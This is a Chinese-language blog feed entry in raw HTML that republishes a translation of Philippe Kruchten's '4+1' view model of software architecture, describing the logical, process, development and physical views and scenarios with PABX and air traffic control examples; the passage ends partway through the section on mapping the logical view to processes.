<TD><A name=author1></A><SPAN class=atitle2>关于作者</SPAN><BR>Frank Cohen 是一位 <I xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">“上门服务”</I>人士，当企业需要测试和解决复杂的互操作信息系统（特别是 Web 服务）中的问题时，他可以上门服务。Frank 是 PushToTest（一家测试自动化解决方案公司）的创始人和几本有关测试信息系统的书籍的作者。Frank 最近出版的新书 <I xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">Automating Web Tests with TestMaker</I>现在可在 <A href="http://www.pushtotest.com/ptt" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">http://www.pushtotest.com/ptt</A>找到。可以通过 <A href="mailto:fcohen@pushtotest.com" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">fcohen@pushtotest.com</A>与他联系。 </TD></TR></TBODY></TABLE><BR clear=all><img src ="http://www.blogjava.net/kapok/aggbug/14372.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-09-29 09:20 <a href="http://www.blogjava.net/kapok/archive/2005/09/29/14372.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>架构蓝图--软件架构 "4+1" 视图模型</title><link>http://www.blogjava.net/kapok/archive/2005/09/20/13574.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Tue, 20 Sep 2005 13:14:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/09/20/13574.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/13574.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/09/20/13574.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/13574.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/13574.html</trackback:ping><description><![CDATA[<A href="http://www-128.ibm.com/developerworks/cn/rational/r-4p1-view/">http://www-128.ibm.com/developerworks/cn/rational/r-4p1-view/</A>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR vAlign=top>
<TD colSpan=5><IMG height=15 alt="" src="http://www.ibm.com/i/c.gif" width=5 border=0></TD></TR>
<TR vAlign=top>
<TD width=2><IMG height=1 alt="" src="http://www.ibm.com/i/c.gif" width=2 border=0></TD>
<TD><SPAN class=atitle>架构蓝图--软件架构 "4+1" 视图模型</SPAN></TD>
<TD width=8><IMG height=1 alt="" src="http://www.ibm.com/i/c.gif" width=8 border=0></TD>
<TD align=right width=180><NOBR>
<TABLE cellSpacing=0 cellPadding=0>
<TBODY>
<TR vAlign=top>
<TD align=right></TD>
<TD width=46>
<FORM action=https://www-130.ibm.com/developerworks/secure/email-it.jsp><INPUT type=hidden value="本文基于多个并发视图的使用情况来说明描述软件密集型系统架构的模型。使用多重视图允许独立地处理各'风险承担人'：最终用户、开发人员、系统工程师、项目经理等所关注的问题，并且能够独立地处理功能性和非功能性需求。本文分别对五种视图进行了描述，并同时给出了捕获每种视图的表示方法。这些视图使用以架构为中心的、场景驱动以及迭代开发过程来进行设计。" name=body><INPUT type=hidden value='架构蓝图--软件架构 "4+1" 视图模型' name=subject><INPUT type=hidden value=cn name=lang><INPUT type=image src="http://www-128.ibm.com/developerworks/cn/i/icon-email.gif" border=0 name=email></FORM></TD></TR></TBODY></TABLE></NOBR></TD>
<TD width=6><IMG height=1 alt="" src="http://www.ibm.com/i/c.gif" width=6 border=0></TD></TR>
<TR vAlign=top>
<TD bgColor=#000000 colSpan=5><IMG height=1 alt="" src="http://www.ibm.com/i/c.gif" width=100 border=0></TD></TR>
<TR vAlign=top>
<TD bgColor=#ffffff colSpan=5><IMG height=8 alt="" src="http://www.ibm.com/i/c.gif" width=100 border=0></TD></TR></TBODY></TABLE>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR vAlign=top>
<TD width=5><IMG height=1 alt="" src="http://www.ibm.com/i/c.gif" width=5 border=0></TD>
<TD width="100%">
<TABLE cellSpacing=0 cellPadding=0 width=168 align=right border=0>
<TBODY>
<TR>
<TD width=8><IMG height=21 alt="" src="http://www.ibm.com/i/c.gif" width=5></TD>
<TD width=160>
<TABLE cellSpacing=0 cellPadding=0 width=160 border=0>
<TBODY>
<TR>
<TD width=160 bgColor=#000000 height=1><IMG height=1 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD align=middle background=/developerworks/cn/i/bg-gold.gif height=5><B>内容：</B></TD></TR>
<TR>
<TD width=160 bgColor=#666666 height=1><IMG height=1 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD>
<TABLE cellSpacing=0 cellPadding=0 width=160 border=0>
<TBODY>
<TR>
<TD><A href="http://www-128.ibm.com/developerworks/cn/rational/r-4p1-view/#N10043">引言</A></TD></TR>
<TR>
<TD height=1><IMG height=5 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD><A href="http://www-128.ibm.com/developerworks/cn/rational/r-4p1-view/#N10050">架构模型</A></TD></TR>
<TR>
<TD height=1><IMG height=5 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD><A href="http://www-128.ibm.com/developerworks/cn/rational/r-4p1-view/#N1034D">结束语 </A></TD></TR>
<TR>
<TD height=1><IMG height=5 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD><A href="http://www-128.ibm.com/developerworks/cn/rational/r-4p1-view/#N10368">致谢</A></TD></TR>
<TR>
<TD height=1><IMG height=5 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR><!--Standard links for every dw-article-->
<TR>
<TD><A href="http://www-128.ibm.com/developerworks/cn/rational/r-4p1-view/#resources">参考资料 </A></TD></TR>
<TR>
<TD height=1><IMG height=5 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD><A href="http://www-128.ibm.com/developerworks/cn/rational/r-4p1-view/#author1">关于作者</A></TD></TR>
<TR>
<TD height=1><IMG height=5 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD><A href="http://www-128.ibm.com/developerworks/cn/rational/r-4p1-view/#rating">对本文的评价</A></TD></TR>
<TR>
<TD><IMG height=10 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
<TABLE cellSpacing=0 cellPadding=0 width=160 border=0>
<TBODY>
<TR>
<TD width=160 bgColor=#000000 height=1><IMG height=1 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD align=middle background=/developerworks/cn/i/bg-gold.gif height=5><B>订阅:</B></TD></TR>
<TR>
<TD width=160 bgColor=#666666 height=1><IMG height=1 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD>
<TABLE cellSpacing=0 cellPadding=1 width=160 border=0>
<TBODY>
<TR>
<TD><A href="http://www-128.ibm.com/developerworks/cn/newsletter/">developerWorks 时事通讯</A></TD></TR>
<TR>
<TD height=1><IMG height=5 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD><A href="http://www-128.ibm.com/developerworks/cn/rational/rationaledge/">The Rational Edge</A></TD></TR>
<TR>
<TD height=1><IMG height=5 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
<TABLE cellSpacing=0 cellPadding=0 width=160 border=0>
<TBODY>
<TR>
<TD width=150 bgColor=#000000 colSpan=2 height=2><IMG height=2 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR>
<TR>
<TD width=150 bgColor=#ffffff colSpan=2 height=2><IMG height=2 alt="" src="http://www.ibm.com/i/c.gif" width=160></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>
<P><A href="http://www-128.ibm.com/developerworks/cn/rational/r-4p1-view/#author1"><NAME>Philippe Kruchten</NAME></A><BR>高级技术专员<BR>2005 年 1 月 </P>
<BLOCKQUOTE>本文基于多个并发视图的使用情况来说明描述软件密集型系统架构的模型。使用多重视图允许独立地处理各"风险承担人"：最终用户、开发人员、系统工程师、项目经理等所关注的问题，并且能够独立地处理功能性和非功能性需求。本文分别对五种视图进行了描述，并同时给出了捕获每种视图的表示方法。这些视图使用以架构为中心的、场景驱动以及迭代开发过程来进行设计。</BLOCKQUOTE>
<P><A name=N10043><SPAN class=atitle2>引言</SPAN></A><BR>我们已经看到在许多文章和书籍中，作者欲使用单张视图来捕捉所有的系统架构要点。通过仔细地观察这些图例中的方框和箭头，不难发现作者努力地在单一视图中表达超过其表达限度的蓝图。方框是代表运行的程序吗？或者是代表源代码的程序块吗？或是物理计算机吗？或仅仅是逻辑功能的分组吗？箭头是表示编译时的依赖关系吗？或者是控制流吗？或是数据流吗？通常它代表了许多事物。是否架构只需要单个的架构样式？有时软件架构的缺陷源于过早地划分软件或过分的强调软件开发的单个方面：数据工程、运行效率、开发策略和团队组织等。有时架构并不能解决所有"客户"（或者说"风险承担人"，USC 的命名）所关注的问题。许多作者都提及了这个问题：Garlan &amp; Shaw <A href="http://www-128.ibm.com/developerworks/cn/rational/r-4p1-view/#resources" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">1</A>、CMU 的 Abowd &amp; Allen、SEI 的 Clements。作为补充，我们建议使用多个并发的视图来组织软件架构的描述，每个视图仅用来描述一个特定的所关注的方面的集合。 </P>
<P><A name=N10050><SPAN class=atitle2>架构模型</SPAN></A><BR>软件架构用来处理软件高层次结构的设计和实施。它以精心选择的形式将若干结构元素进行装配，从而满足系统主要功能和性能需求，并满足其他非功能性需求，如可靠性、可伸缩性、可移植性和可用性。Perry 和 Wolfe 使用一个精确的公式来表达，该公式由 Boehm 做了进一步修改： </P>
<P>软件架构 ＝ {元素，形式，关系/约束}</P>
<P>软件架构涉及到抽象、分解和组合、风格和美学。我们用由多个视图或视角组成的模型来描述它。为了最终处理大型的、富有挑战性的架构，该模型包含五个主要的视图（请对照图 1）：</P>
<UL xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<LI>逻辑视图（Logical View），设计的对象模型（使用面向对象的设计方法时）。 
<LI>过程视图（Process View），捕捉设计的并发和同步特征。 
<LI>物理视图（Physical View），描述了软件到硬件的映射，反映了分布式特性。 
<LI>开发视图（Development View），描述了在开发环境中软件的静态组织结构。 </LI></UL>
<P>架构的描述，即所做的各种决定，可以围绕着这四个视图来组织，然后由一些用例 （use cases）或场景(scenarios)来说明，从而形成了第五个视图。正如将看到的，实际上软件架构部分从这些场景演进而来，将在下文中讨论。</P>
<P><A name=N10073><B>图 1 － "4＋1"视图模型</B></A><BR><IMG height=322 alt='图 1 － "4＋1"视图模型' src="http://www-128.ibm.com/developerworks/cn/rational/r-4p1-view/images/image002.jpg" width=456 border=0 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> </P>
<P>我们在每个视图上均独立地应用 Perry &amp; Wolf 的公式，即定义一个所使用的元素集合（组件、容器、连接符），捕获工作形式和模式，并且捕获关系及约束，将架构与某些需求连接起来。每种视图使用自身所特有的表示法－蓝图（blueprint）来描述，并且架构师可以对每种视图选用特定的架构风格（architectural style），从而允许系统中多种风格并存。</P>
<P>我们将轮流的观察这五种视图，展现各个视图的目标：即视图的所关注的问题，相应的架构蓝图的标记方式，描述和管理蓝图的工具。并以非常简单的形式从 PABX 的设计中，从我们在Alcatel 商业系统（Alcatel Business System）上所做的工作中，以及从航空运输控制系统（Air Traffic Control system）中引出一些例子―旨在描述一下视图的特定及其标记的方式，而不是定义这些系统的架构。 </P>
<P>"4+1"视图模型具有相当的"普遍性"，因此可以使用其他的标注方法和工具，也可以采用其他的设计方法，特别是对于逻辑和过程的分解。但文中指出的这些方法都已经成功的在实践中运用过。 </P>
<P><A name=N1008C><SPAN class=atitle3>逻辑结构</SPAN></A><BR>面向对象的分解</P>
<P>逻辑架构主要支持功能性需求――即在为用户提供服务方面系统所应该提供的功能。系统分解为一系列的关键抽象，（大多数）来自于问题域，表现为对象或对象类的形式。它们采用抽象、封装和继承的原理。分解并不仅仅是为了功能分析，而且用来识别遍布系统各个部分的通用机制和设计元素。我们使用 Rational/Booch 方法来表示逻辑架构，借助于类图和类模板的手段 <A href="http://www-128.ibm.com/developerworks/cn/rational/r-4p1-view/#resources" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">4</A>。类图用来显示一个类的集合和它们的逻辑关系：关联、使用、组合、继承等等。相似的类可以划分成类集合。类模板关注于单个类，它们强调主要的类操作，并且识别关键的对象特征。如果需要定义对象的内部行为，则使用状态转换图或状态图来完成。公共机制或服务可以在类功能 （class utilities）中定义。对于数据驱动程度高的应用程序，可以使用其他形式的逻辑视图，例如 E-R 图，来代替面向对象的方法（OO approach）。 </P>
<P>逻辑视图的表示法</P>
<P>逻辑视图的标记方法来自 Booch 标记法4。当仅考虑具有架构意义的条目时，这种表示法相当简单。特别是在这种设计级别上，大量的修饰作用不大。我们使用 Rational Rose? 来支持逻辑架构的设计。</P>
<P><A name=N100A4><B>图 2 － 逻辑蓝图的表示法</B></A><BR><IMG height=309 alt="图 2 － 逻辑蓝图的表示法" src="http://www-128.ibm.com/developerworks/cn/rational/r-4p1-view/images/image004.jpg" width=444 border=0 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> </P>
<P>逻辑视图的风格 </P>
<P>逻辑视图的风格采用面向对象的风格，其主要的设计准则是试图在整个系统中保持单一的、一致的对象模型，避免就每个场合或过程产生草率的类和机制的技术说明。</P>
<P>逻辑结构蓝图的样例</P>
<P>图 3 显示了 Télic PABX 架构中主要的类。 </P>
<P><A name=N100C2><B>图 3 － a. Télic PABX 的逻辑蓝图 b.空中交通系统的蓝图</B></A><BR><IMG height=269 alt="图 3 － a. Télic PABX 的逻辑蓝图 b.空中交通系统的蓝图" src="http://www-128.ibm.com/developerworks/cn/rational/r-4p1-view/images/image006.jpg" width=468 border=0 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> </P>
<P>PABX 建立终端间的通信连接。终端可以是电话设备、中继线（例如，连接到中央办公室）、连接线（PABX 专线到 PABX 线)、电话专线、数据线、ISDN 等等。不同的线路由不同的接口卡提供支持。线路 controller 对象的职责是在接口卡上对所有的信号进行解码和注入，在特定于接口卡的信号与一致性的小型事件集合之间进行相互转换：开始、停止、数字化等。controller 对象同时承载所有的实时约束。该类派生出许多子类以满足不同的接口类型。terminal 对象的责任是维持终端的状态，代表线路协调各项服务。例如，它使用 numbering plan 服务来解释拨号。conversation 代表了会话中的一系列终端 。conversation 使用了Translation Service(目录、逻辑物理映射、路由),以及建立终端之间语音路径的Connection Service 。</P>
<P>对于一个包含了大量的具有架构重要意义的类的、更大的系统来说，图 3 b 描述了空中交通管理系统的顶层类图，包含 8 个类的种类（例如，类的分组）。</P>
<P><A name=N100D8><SPAN class=atitle3>进程架构</SPAN></A><BR>过程分解 </P>
<P>进程架构考虑一些非功能性的需求，如性能和可用性。它解决并发性、分布性、系统完整性、容错性的问题，以及逻辑视图的主要抽象如何与进程结构相配合在一起－即在哪个控制线程上，对象的操作被实际执行。</P>
<P>进程架构可以在几种层次的抽象上进行描述，每个层次针对不同的问题。在最高的层次上，进程架构可以视为一组独立执行的通信程序（叫作"processes"）的逻辑网络，它们分布在整个一组硬件资源上，这些资源通过 LAN 或者 WAN 连接起来。多个逻辑网络可能同时并存，共享相同的物理资源。例如，独立的逻辑网络可能用于支持离线系统与在线系统的分离，或者支持软件的模拟版本和测试版本的共存。</P>
<P>进程是构成可执行单元任务的分组。进程代表了可以进行策略控制过程架构的层次（即：开始、恢复、重新配置及关闭）。另外，进程可以就处理负载的分布式增强或可用性的提高而不断地被重复。</P>
<P>软件被划分为一系列单独的任务。任务是独立的控制线程，可以在处理节点上单独地被调度。</P>
<P>接着，我们可以区别主要任务、次要任务。主要任务是可以唯一处理的架构元素；次要任务是由于实施原因而引入的局部附加任务（周期性活动、缓冲、暂停等等）。它们可以作为 Ada Task 或轻量线程来实施。主要任务的通讯途径是良好定义的交互任务通信机制：基于消息的同步或异步通信服务、远程过程调用、事件广播等。次要任务则以会见或共享内存来通信。在同一过程或处理节点上，主要任务不应对它们的分配做出任何假定。</P>
<P>消息流、过程负载可以基于过程蓝图来进行评估，同样可以使用哑负载来实现"中空"的进程架构，并测量在目标系统上的性能。正如 Filarey et al. 在他的 Eurocontrol 实验中描述的那样。</P>
<P>进程视图的表示法</P>
<P>我们所使用的进程视图的表示方法是从Booch最初为 Ada 任务推荐的表示方法扩展而来。同样，用来所使用的表示法关注在架构上具有重要意义的元素。(图 4) </P>
<P><A name=N100FB><B>图 4 － 过程蓝图表示法</B></A><BR><IMG height=270 alt="图 4 － 过程蓝图表示法" src="http://www-128.ibm.com/developerworks/cn/rational/r-4p1-view/images/image008.jpg" width=492 border=0 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> </P>
<P>我们曾使用来自 TRW 的 Universal Network Architechure Services（UNAS0） 产品来构建并实施过程和任务集合（包扩它们的冗余），使它们融入过程的网络中。UNAS 包含 Software Architect Lifecycle Environment(SALE)工具，它支持上述表示方法。SALE 允许以图形的形式来描述进程架构，包括对可能的交互任务通信路径的规格说明，正是从这些路径中自动生成对应的 Ada 或 C++ 源代码。使用该方法来指定和实施进程架构的优点是易于进行修改而不会对应用软件造成太多的影响。</P>
<P>进程视图的风格 </P>
<P>许多风格可以适用于进程视图。例如采用 Garlan 和 Shaw 的分类法1,我们可以得到管道和过滤器（Pipes and filters）,或客户端/服务器，以及各种多个客户端/单个服务器和多个客户端/多个服务器的变体。对于更加复杂的系统,可以采用类似于 K.Birman 所描述的ISIS系统中进程组方法以及其它的标注方法和工具。</P>
<P>进程蓝图的例子</P>
<P><A name=N10119><B>图 5 － Télic PABX 的过程蓝图（部分）</B></A><BR><IMG height=367 alt="图 5 － Télic PABX 的过程蓝图（部分）" src="http://www-128.ibm.com/developerworks/cn/rational/r-4p1-view/images/image010.jpg" width=576 border=0 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> </P>
<P>所有的终端由单个的 Termal process 处理，其中 Termal process 由输入队列中的消息进行驱动。Controller 对象在组成控制过程三个任务之中的一项任务上执行：Low cycle rate task 扫描所有的非活动终端(200 ms)，将 High cycle rate task(10 ms)扫描清单中的终端激活，其中 High cycle rate task 检测任何重要的状态变化，将它们传递给 Main controller task，由它来对状态的变更进行解释,并通过向对应的终端发送消息来通信。这里 Controller 过程中的通信通过共享内存来实现。</P>
<P><A name=N1012C><SPAN class=atitle3>开发架构</SPAN></A><BR>子系统分解</P>
<P>开发架构关注软件开发环境下实际模块的组织。软件打包成小的程序块（程序库或子系统），它们可以由一位或几位开发人员来开发。子系统可以组织成分层结构，每个层为上一层提供良好定义的接口。</P>
<P>系统的开发架构用模块和子系统图来表达，显示了"输出"和"输入"关系。完整的开发架构只有当所有软件元素被识别后才能加以描述。但是，可以列出控制开发架构的规则：分块、分组和可见性。</P>
<P>大部分情况下，开发架构考虑的内部需求与以下几项因素有关：开发难度、软件管理、重用性和通用性及由工具集、编程语言所带来的限制。开发架构视图是各种活动的基础，如：需求分配、团队工作的分配（或团队机构）、成本评估和计划、项目进度的监控、软件重用性、移植性和安全性。它是建立产品线的基础。</P>
<P>开发蓝图的表示方法</P>
<P>同样，使用 Booch 方法的变形，仅考虑具有架构意义的项。</P>
<P><A name=N10146><B>图 5 － 开发蓝图表示方法</B></A><BR><IMG height=252 alt="图 5 － 开发蓝图表示方法" src="http://www-128.ibm.com/developerworks/cn/rational/r-4p1-view/images/image012.jpg" width=492 border=0 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> </P>
<P>来自 Rational 的 Apex 开发环境支持开发架构的定义和实现、和前文描述的分层策略，以及设计规则的实施。Rational Rose 可以在模块和子系统层次上绘制开发蓝图，并支持开发源代码(Ada、C++）进程的正向和反向工程。</P>
<P><A name=N10159><SPAN class=atitle3>开发视图的风格</SPAN></A><BR>我们推荐使用分层（layered）的风格，定义 4 到 6 个子系统层。每层均具有良好定义的职责。设计规则是某层子系统依赖同一层或低一层的子系统，从而最大程度地减少了具有复杂模块依赖关系的网络的开发量，得到层次式的简单策略。</P>
<P><A name=N10164><B>图 6 － Hughes 空中交通系统（HATS）的 5 个层</B></A><BR><IMG height=312 alt="图 6 － Hughes 空中交通系统（HATS）的 5 个层" src="http://www-128.ibm.com/developerworks/cn/rational/r-4p1-view/images/image014.jpg" width=528 border=0 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> </P>
<P>开发架构的例子 </P>
<P>图 6 代表了加拿大的 Hughes Aircraft 开发的空中交通控制系统（Air Traffic Control system）产品线的 5 个分层开发组织结构。这是和图 3 b 描述的逻辑架构相对应的开发架构。</P>
<P>第一层 和第二层组成了独立于域的覆盖整个产品线的分布式基础设施，并保护其免受不同硬件平台、操作系统或市售产品（如数据库管理系统）的影响。第三层为该基础设施增加了 ATC 框架，形成一个特定领域的软件架构（domain-specific software architecture）。使用该框架,可以在第四层上构建一个功能选择板。层次 5 则非常依赖于客户和产品,包含了大多数用户接口和外部系统接口。72 个子系统分布于 5 个层次上，每层包含了 10 至 50 个模块，并可以在其他蓝图上表示。</P>
<P><A name=N1017D><SPAN class=atitle3>物理架构</SPAN></A><BR>软件至硬件的映射</P>
<P>物理架构主要关注系统非功能性的需求，如可用性、可靠性（容错性），性能（吞吐量）和可伸缩性。软件在计算机网络或处理节点上运行，被识别的各种元素（网络、过程、任务和对象），需要被映射至不同的节点；我们希望使用不同的物理配置：一些用于开发和测试，另外一些则用于不同地点和不同客户的部署。因此软件至节点的映射需要高度的灵活性及对源代码产生最小的影响。</P>
<P>物理蓝图的表示法 </P>
<P>大型系统中的物理蓝图会变得非常混乱，所以它们可以采用多种形式，有或者没有来自进程视图的映射均可。</P>
<P><A name=N10191><B>图 7 － 物理蓝图的表示法</B></A><BR><IMG height=142 alt="图 7 － 物理蓝图的表示法" src="http://www-128.ibm.com/developerworks/cn/rational/r-4p1-view/images/image016.jpg" width=316 border=0 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> </P>
<P>TRW 的 UNAS 提供了数据驱动方法将过程架构映射至物理架构，该方法允许大量的映射的变更而无需修改源代码。</P>
<P>物理蓝图的示例</P>
<P><A name=N101A9><B>图 8 － PABX 的物理蓝图</B></A><BR><IMG height=208 alt="图 8 － PABX 的物理蓝图" src="http://www-128.ibm.com/developerworks/cn/rational/r-4p1-view/images/image018.jpg" width=424 border=0 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> </P>
<P>图 8 显示了大型 PABX 可能的硬件配置,而图 9 和图 10 显示了两种不同物理架构上的进程映射，分别对应一个小型和一个大型 PABX。C、F 和 K 是三种不同容量的计算机，支持三种不同的运行要求。</P>
<P><A name=N101BE><B>图 9 － 带有过程分配的小型 PABX 物理架构</B></A><BR><IMG height=153 alt="图 9 － 带有过程分配的小型 PABX 物理架构" src="http://www-128.ibm.com/developerworks/cn/rational/r-4p1-view/images/image020.jpg" width=162 border=0 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> </P>
<P><A name=N101D0><B>图10－显示了过程分配的大型PABX物理蓝图</B></A><BR><IMG height=459 alt=图10－显示了过程分配的大型PABX物理蓝图 src="http://www-128.ibm.com/developerworks/cn/rational/r-4p1-view/images/image022.jpg" width=480 border=0 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> </P>
<P><A name=N101E0><SPAN class=atitle3>场景</SPAN></A><BR>综合所有的视图 </P>
<P>四种视图的元素通过数量比较少的一组重要场景（更常见的是用例）进行无缝协同工作，我们为场景描述相应的脚本（对象之间和过程之间的交互序列）。正如 Rubin 和 Goldberg 所描述的那样6。</P>
<P>在某种意义上场景是最重要的需求抽象，它们的设计使用对象场景图和对象交互图来表示4。 </P>
<P>该视图是其他视图的冗余（因此"＋1"），但它起到了两个作用：</P>
<UL xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<LI>作为一项驱动因素来发现架构设计过程中的架构元素，这一点将在下文中讨论。 
<LI>作为架构设计结束后的一项验证和说明功能，既以视图的角度来说明又作为架构原型测试的出发点。 </LI></UL>
<P>场景的表示法 </P>
<P>场景表示法与组件逻辑视图非常相似（请对照图 2），但它使用过程视图的连接符来表示对象之间的交互（请对照图 4），注意对象实例使用实线来表达。至于逻辑蓝图，我们使用 Rational Rose 来捕获并管理对象场景。</P>
<P>场景的例子</P>
<P>图 11 显示了小型 PABX 的场景片段。相应的脚本是：</P>
<P>1. Joe的电话控制器检测和校验摘机状态的变换,并发送消息唤醒相应的终端对象。</P>
<P>2. 终端分配一些资源，并要求控制器发出拨号音。</P>
<P>3. 控制器接受拨号并传递给终端。</P>
<P>4. 终端使用拨号方案来分析数字流。</P>
<P>5. 有效的数字序列被键入,终端开始会话。</P>
<P><A name=N10218><B>图 11 － 本地呼叫的初期场景――阶段选择</B></A><BR><IMG height=198 alt="图 11 － 本地呼叫的初期场景――阶段选择" src="http://www-128.ibm.com/developerworks/cn/rational/r-4p1-view/images/image024.jpg" width=480 border=0 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> </P>
<P><A name=N10228><SPAN class=atitle3>视图之间的对应性 </SPAN></A><BR>各种视图并不是完全是正交的或独立的。视图的元素根据某种设计规则和启发式方法与其他视图中的元素相关联。</P>
<P>从逻辑视图到过程视图 </P>
<P>我们发现逻辑视架构有几项重要特性：</P>
<UL xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<LI>自主性：对象是主动的、被动的还是被保护的？ 
<UL>
<LI>主动对象享有调用其他对象或其自身操作的主动权，并且当其他对象对其进行调用时，具有对其自身操作的完全控制权。 
<LI>被动对象不能主动调用任何操作，对其他对象调用自身的操作没有控制。 
<LI>被保护对象不能主动调用任何操作。但对自身的操作有一定的控制功能。 </LI></UL>
<LI>持久化：对象是暂时的还是持久化的？它们是否会导致过程或处理器的终止？ 
<LI>依赖性：对象的存在或持久化是否依赖于另一个对象？ 
<LI>分布性：对象的状态或操作是否能被物理架构中的许多节点所访问？或是被进程架构中的几个进程所访问？ </LI></UL>
<P>在逻辑视图中，我们认为每个对象均是主动的，具有潜在的"并发性"，即与其他对象具有"平行的"行为，我们并不考虑所要达到的确切并发程度。因此，逻辑结构所考虑的仅是需求的功能性方面。</P>
<P>然而，当我们定义进程架构时，由于巨大的开销，为每个对象实施各自的控制线程（例如，Unix 进程或 Ada 任务），在目前的技术状况下是不现实的。此外，如果对象是并发的，那么必须以某种抽象形式来调用它们的操作。</P>
<P>另一方面，由于以下几种原因需要多个控制线程。</P>
<UL xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<LI>为了快速响应某类外部触发，包括与时间相关的事件。 
<LI>为了在一个节点中利用多个 CPU，或者在一个分布式系统中利用多个节点。 
<LI>为了提高 CPU 的利用率，在某些控制线程被挂起，等待其他活动结束的时候（例如，访问外部对象其他活动对象时），为其他的活动分配 CPU。 
<LI>为了划分活动的优先级（提高潜在的响应能力）。 
<LI>为了支持系统的可伸缩性（借助于共享负载的其他过程）。 
<LI>为了在软件的不同领域分离关注点。 
<LI>为了提高系统的可用性（通过 Backup 过程）。 </LI></UL>
<P>我们同时使用两种策略来决定并发的程度和定义所需的过程集合。考虑一系列潜在的物理目标架构。以下两种形式我们可以任选其一：</P>
<UL xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<LI>从内至外: <BR><BR>由逻辑架构开始：定义代理任务，该任务将控制一个类的多个活动对象的单个线程进行多元化处理；同一代理任务还执行持久化处理那些依赖于一个主动对象的对象；需要相互进行操作的几个类或仅需要少量处理的类共享单个代理。这种聚合会一直进行，直到我们将过程减少到合理的较少数量，而仍允许分布性和对物理资源的使用。 
<LI>由外至内: <BR><BR>从物理结构开始：识别系统的外部触发；定义处理触发的客户过程和仅提供服务（而非初始化它们）的服务器进程；使用数据完整性和问题的串行化（serialization）约束来定义正确的服务器设置，并且为客户机与服务器代理分配对象；识别出必须分布哪些对象。 </LI></UL>
<P>其结果是将类（和它们的对象）映射至一个任务集合和进程架构中的进程。通常，活动类具有代理任务，也存在一些变形：对于给定的类，使用多个代理以提高吞吐量，或者多个类映射至单个代理，因为它们的操作并不是频繁地被调用，或者是为了保证执行序列。</P>
<P>注意这并不是产生最佳过程架构的线性的、决定性的进程；它需要若干个迭代来得到可接受的折衷。还存在许多其他方法，例如 Birman 等人5 或 Witt 等人7提出的方法。 确切的实施映射的方法不在本文的讨论范围，但我们以一个小的例子来说明一下。</P>
<P>图 12 显示了一个小的类集合如何从假想的空中交通控制系统映射至进程。</P>
<P>flight 类映射至一个 flight 代理集合：有许多航班等待处理，外部触发的频率很高，响应时间很关键，负载必须分布于多个 CPU。并且，航班处理的持久化和分布性方面都取决于 flight server，为了满足可用性，还是使用 flight server 的一台备份服务器。</P>
<P>航班的 profile 和 clearance 总是从属于某个航班,尽管它们是复杂的类,但它们共享 flight 类的进程。航班分布于若干其他进程，特别是对于显示和外部接口。</P>
<P>sectorization 类，为 controller 的权限分配建立了空域划分。由于完整性约束，仅能被一个代理处理，但可以与 flight 类共享服务器过程：更新得并不频繁。</P>
<P>location 和 arispace 及其他的静态航空信息是受到保护的对象，在几个类中共享，很少被更新；它们被映射至各自的服务器，分布于其他过程。</P>
